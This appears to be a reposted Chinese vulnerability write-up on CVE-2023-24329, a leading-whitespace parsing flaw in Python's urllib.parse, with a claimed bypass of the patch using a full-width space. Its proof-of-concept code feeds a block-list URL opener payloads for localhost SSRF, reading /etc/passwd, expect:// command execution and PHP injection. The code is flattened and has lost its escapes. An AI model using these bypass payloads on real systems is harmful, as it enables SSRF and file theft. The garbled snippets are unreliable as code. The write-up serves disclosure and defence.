Python URL解析安全绕过漏洞及补丁绕过

渗透技巧 7个月前 admin
168 0 0


Python URL解析安全绕过漏洞及补丁绕过


0x01 CVE-2023-24329

Python URL解析安全绕过漏洞及补丁绕过

CVE  ID

CVE-2023-24329 发现时间 2023-08-14
类   型 安全绕过 等   级 高危
攻击向量 网络 所需权限
攻击复杂度 用户交互
PoC/EXP 未知 在野利用 未知


Python中的urllib.parse模块主要用于解析和操作URL,它可以将URL分解为其组成部分,或者将各个组成部分组合为URL字符串。

8月14日,披露了Pythonurllib.parse 组件中存在安全绕过漏洞(CVE-2023-24329),该漏洞的CVSSv3评分为7.5

Python多个受影响版本中,当整个URL以空白字符开头时,urllib.parse会出现解析问题(影响主机名和方案的解析)。可以通过提供以空白字符开头的URL来绕过使用阻止列表实现的任何域或协议过滤方法,成功利用该漏洞可能导致任意文件读取、命令执行或SSRF等。

0x02  CVE-2023-24329 漏洞示例

披露者给出的示例代码如下,当请求的url面前添加空格时,urllib.parse会出现解析问题,返回的input_hostnameinput_scheme为空,绕过了业务代码中黑名单的限制。


import urllib.requestfrom urllib.parse import urlparse

def safe_url_opener(input_link): block_schemes = ["file", "gopher", "expect", "php", "glob", "data", "dict", "ftp"] block_host = ["127.0.0.1", "localhost"] input_scheme = urlparse(input_link).scheme input_hostname = urlparse(input_link).hostname print(input_hostname) if input_scheme in block_schemes: print("input scheme is forbidden") return if input_hostname in block_host: print("input hostname is forbidden") return target = urllib.request.urlopen(input_link) content = target.read() print(content)

if __name__ == '__main__': safe_url_opener(" http://127.0.0.1") safe_url_opener(" file://127.0.0.1/etc/passwd") safe_url_opener(" data://text/plain,<?php phpinfo()?>") safe_url_opener(" expect://whoami")


漏洞点如下,urlparse对以空白字符开头的URL解析,返回的hostnameNone,返回的scheme为空。这样在业务代码中使用urlparse解析URL,对解析的结果进行一些判断时就容易产生漏洞。


Python URL解析安全绕过漏洞及补丁绕过

0x03  漏洞补丁

漏洞出在 urllib.parse 组件,我们调试一下,将断点打在urlparse处。

跟进到urlsplit()函数处,根据url.find(':')获取冒号的下标,然后根据冒号下标判断协议是否是http,是的话就会进行解析,将解析结果返回;如果不是则会判断URL的字符是否在给定的字符序列中。


Python URL解析安全绕过漏洞及补丁绕过

scheme_chars的值为abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+-.,显然空格不在其中。

break之后进入下一个if,判断协议之后是否是//,显然也不成立,就错过了给netloc赋值的机会,netloc就会以None进行返回。


Python URL解析安全绕过漏洞及补丁绕过

为什么要关注netloc,可以看一下注释,netloc就对应了urlhostnamescheme也是同理,一个以None返回,一个以空返回,就导致了该漏洞的产生。


Python URL解析安全绕过漏洞及补丁绕过

0x04  CVE-2023-24329 补丁绕过

在最新版中,通过黑名单替换的方式,对一些空白字符进行了替换。


Python URL解析安全绕过漏洞及补丁绕过

黑名单如下,可以看到从x00x20't', 'r', 'n'都被替换掉了。


_WHATWG_C0_CONTROL_OR_SPACE = 'x00x01x02x03x04x05x06x07x08tnx0bx0crx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f '
_UNSAFE_URL_BYTES_TO_REMOVE = ['t', 'r', 'n']


之前的添加空格绕过的方式就不生效了。

这里通过lstripstrip来将上述字符去除,然后将url中的't', 'r', 'n'替换,避免了空格造成的绕过。


Python URL解析安全绕过漏洞及补丁绕过

0x05  漏洞补丁绕过

关于lstrip,我们可以看一个简单的例子,将官方补丁的_WHATWG_C0_CONTROL_OR_SPACE也使用lstripurl进行去除,但是可以看到输出结果,第二个确实成功去掉了空格,但是看第一个结果,前方依然是存在空格,这是因为我们给出的不是正常情况下的空格,而是【 】,该字符的ASCII码为12288。当然能绕过的空白字符不止这个,还有很多,这里只是给出一个例子。


Python URL解析安全绕过漏洞及补丁绕过

再看一个例子,同样是加了【 】,但是lstrip没有给参数,看输出结果,【 】反而被去掉了,官方补丁有些弄巧成拙了。


Python URL解析安全绕过漏洞及补丁绕过

于是可以通过添加【 】的方式对官方修补黑名单进行绕过。


import urllib.requestfrom urllib.parse import urlparse
def safe_url_opener(input_link): block_schemes = ["file", "gopher", "expect", "php", "glob", "data", "dict", "ftp"] block_host = ["127.0.0.1", "localhost"] input_scheme = urlparse(input_link).scheme input_hostname = urlparse(input_link).hostname print(input_hostname) if input_scheme in block_schemes: print("input scheme is forbidden") return if input_hostname in block_host: print("input hostname is forbidden") return target = urllib.request.urlopen(input_link) content = target.read() print(content)
if __name__ == '__main__': safe_url_opener(" http://127.0.0.1") safe_url_opener(" http://127.0.0.1")


代码运行结果如下,成功绕过补丁。


Python URL解析安全绕过漏洞及补丁绕过

0x06  修补建议

简单测试了一下,跑了一下空白字符,发现lstrip()都能将其去除,加了_WHATWG_C0_CONTROL_OR_SPACE反而给了绕过的机会,将其去除即可。


Python URL解析安全绕过漏洞及补丁绕过



⬇️西⬇️


Python URL解析安全绕过漏洞及补丁绕过



    


TERRA2020

CTF


原文始发于微信公众号(TERRA星环安全团队):Python URL解析安全绕过漏洞及补丁绕过

版权声明:admin 发表于 2023年9月19日 上午8:54。
转载请注明:Python URL解析安全绕过漏洞及补丁绕过 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...